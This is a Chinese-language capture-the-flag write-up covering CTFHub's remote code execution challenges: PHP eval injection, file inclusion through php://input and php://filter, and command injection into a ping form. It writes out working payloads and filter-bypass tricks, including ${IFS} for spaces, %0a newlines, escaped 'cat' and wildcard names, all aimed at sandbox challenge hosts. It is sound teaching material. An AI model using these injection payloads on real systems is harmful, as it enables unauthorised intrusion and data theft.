ctfhub--技能树rce

一,eval执行

ctfhub--技能树rce_第1张图片

 PHP代码显示,要求将命令赋值给cmd然后执行
先查看一下根目录文件 /?cmd=system("ls");
!切记最后的分号不可省略!

 没有需要的文件
看看上一级的文件夹 /?cmd=system("ls /");
!切记最后的分号不可省略!

 打开flag文件发现FLAG /?cmd=system("cat flag_1171");
!切记最后的分号不可省略!

 二,文件包含

补充知识:

isset()函数 

ctfhub--技能树rce_第2张图片

 strpos()函数

ctfhub--技能树rce_第3张图片

 

 启动环境

分析代码

strpos函数会将我们的file中的flag字段限制,所以并不能为直接为file赋值为flag

ctfhub--技能树rce_第4张图片

 

点击shell,我们发现shell.txt中有一个变量ctfhub

我们可以将shell.txt赋值给filectfhub--技能树rce_第5张图片,在将flag赋值给ctfhub,这样的话我们就可以成功绕过限制!

 request = post + get

我们使用HackBar,将命令赋值给shell.txt中的ctfhub

?file=shell.txt 将shell.txt 赋值给file

    http://challenge-d82fb33100df49ae.sandbox.ctfhub.com:10800?file=shell.txt
    ctfhub=system("ls /");
 

 ctfhub--技能树rce_第6张图片

 ctfhub=system("cat /flag");

ctfhub--技能树rce_第7张图片

 

三,php://input

 补充知识:

php://            访问各个输入/输出流(I/O streams)

php://input    是个可以访问请求的原始数据的只读流。可以接收post请求作为输入流的输入,将请求作为PHP代码的输入传递给目标变量,以达到以post 的形式进行输入的目的。

启动环境:

分析代码它将file前六位取出判断是否为 "php://" ,是的话为ture 执行include($_GET["file"]);
ctfhub--技能树rce_第8张图片

 查看phpinfo,发现以下字段,证明是可以使用php://input的。

  burpsuite 抓包 

ctfhub--技能树rce_第9张图片

  查看flag文件,成功获得flag

ctfhub--技能树rce_第10张图片 

读取源代码

启动环境

ctfhub--技能树rce_第11张图片

 这里尝试使用 php://input ,发现不成功,那我们就换一个。

 ctfhub--技能树rce_第12张图片

 这里我们使用php伪协议中的php://filter

构造payload

/?file=php://filter/resource=/flag
http://challenge-f5f2c46b14eae159.sandbox.ctfhub.com:10800/?file=php://filter/resource=/flag

ctfhub--技能树rce_第13张图片

 

远程包含

启动环境

分析代码:熟悉的strpos()函数

ctfhub--技能树rce_第14张图片

 查看PHPinfo文件,发现可以使用php://input

ctfhub--技能树rce_第15张图片

 

    POST /?file=php://input 
    
    

ctfhub--技能树rce_第16张图片

 

命令注入

这是一个在线测试网络延迟的平台,路由器中经常会见到。无任何安全措施,尝试获取 flag

补充知识:

linux中命令的链接符号
1.每个命令之间用;隔开
        说明:各命令的执行给果,不会影响其它命令的执行。换句话说,各个命令都会执行,但不保证每个命令都执行成功。
2.每个命令之间用&&隔开
        说明:若前面的命令执行成功,才会去执行后面的命令。这样可以保证所有的命令执行完毕后,执行过程都是成功的。
3.每个命令之间用||隔开
        说明:||是或的意思,只有前面的命令执行失败后才去执行下一条命令,直到执行成功一条命令为止。
4. | 是管道符号。管道符号改变标准输入的源或者是标准输出的目的地。
5. & 是后台任务符号。 后台任务符号使shell在后台执行该任务,这样用户就可以立即得到一个提示符并继续其他工作。

启动环境
ctfhub--技能树rce_第17张图片

 我们随便输入一个ip,查看输出

ctfhub--技能树rce_第18张图片

 这里我们输入ip & ls ,发现有文件的回显

1.1.1.1 & ls

ctfhub--技能树rce_第19张图片

 使用cat查看 文件,我们发现没有文件内容的,我们查看页面源代码即可看到flag

1.1.1.1 & cat 56762100612447.php

ctfhub--技能树rce_第20张图片

 

过滤cat

 过滤了cat命令之后,你还有什么方法能读到 Flag?

启动环境

1.1.1.1 & ls

 既然过滤了cat,那我们尝试绕过过滤。

第一种,使用 \ '' "" {任意无意义变量名}等方法均可绕过

1.1.1.1 & c\at flag_103292321323608.php

 ctfhub--技能树rce_第21张图片

 

过滤空格

这次过滤了空格,你能绕过吗

1.1.1.1&ls

 ctfhub--技能树rce_第22张图片

 

我们可以使用重定向符 < 来代替空格

1.1.1.1&cat

 ctfhub--技能树rce_第23张图片

 

过滤目录分隔符

这次过滤了目录分割符 / ,你能读到 flag 目录下的 flag 文件吗

可以看到 flag_is_here 文件夹

1.1.1.1&ls

 ctfhub--技能树rce_第24张图片

 

这里使用 ; 或者 && 执行多条命令

进入文件夹,显示目录

12.0.0.1;cd flag_is_here;ls

 ctfhub--技能树rce_第25张图片

 

cat 查看flag文件

12.0.0.1;cd flag_is_here;cat flag_536147747793.php

ctfhub--技能树rce_第26张图片 

 

过滤运算符

过滤了几个运算符, 要怎么绕过呢

& 以及其他的被过滤了 使用 ;

1.1.1.1;ls

ctfhub--技能树rce_第27张图片 

 1.1.1.1;cat flag_121702315315333.php

ctfhub--技能树rce_第28张图片

 综合过滤练习

ctfhub--技能树rce_第29张图片

 

审计代码:这里过滤掉了  | ,& ,空格,; ,cat, flag, ctfhub

  • 空格可以用${IFS}

  • cat可以用more

  • flag可以用f***

  • 在linux下,命令分隔符除了;还有%0a

/?ip=127.0.0.1%0als

ctfhub--技能树rce_第30张图片 

 /?ip=127.0.0.1%0acd${IFS}f***_is_here${IFS}%0als

ctfhub--技能树rce_第31张图片

 

/?ip=127.0.0.1%0acd${IFS}f***_is_here${IFS}%0abase64${IFS}f***_17214794821880.php

ctfhub--技能树rce_第32张图片

 

你可能感兴趣的:(ctfhub,服务器,java,运维)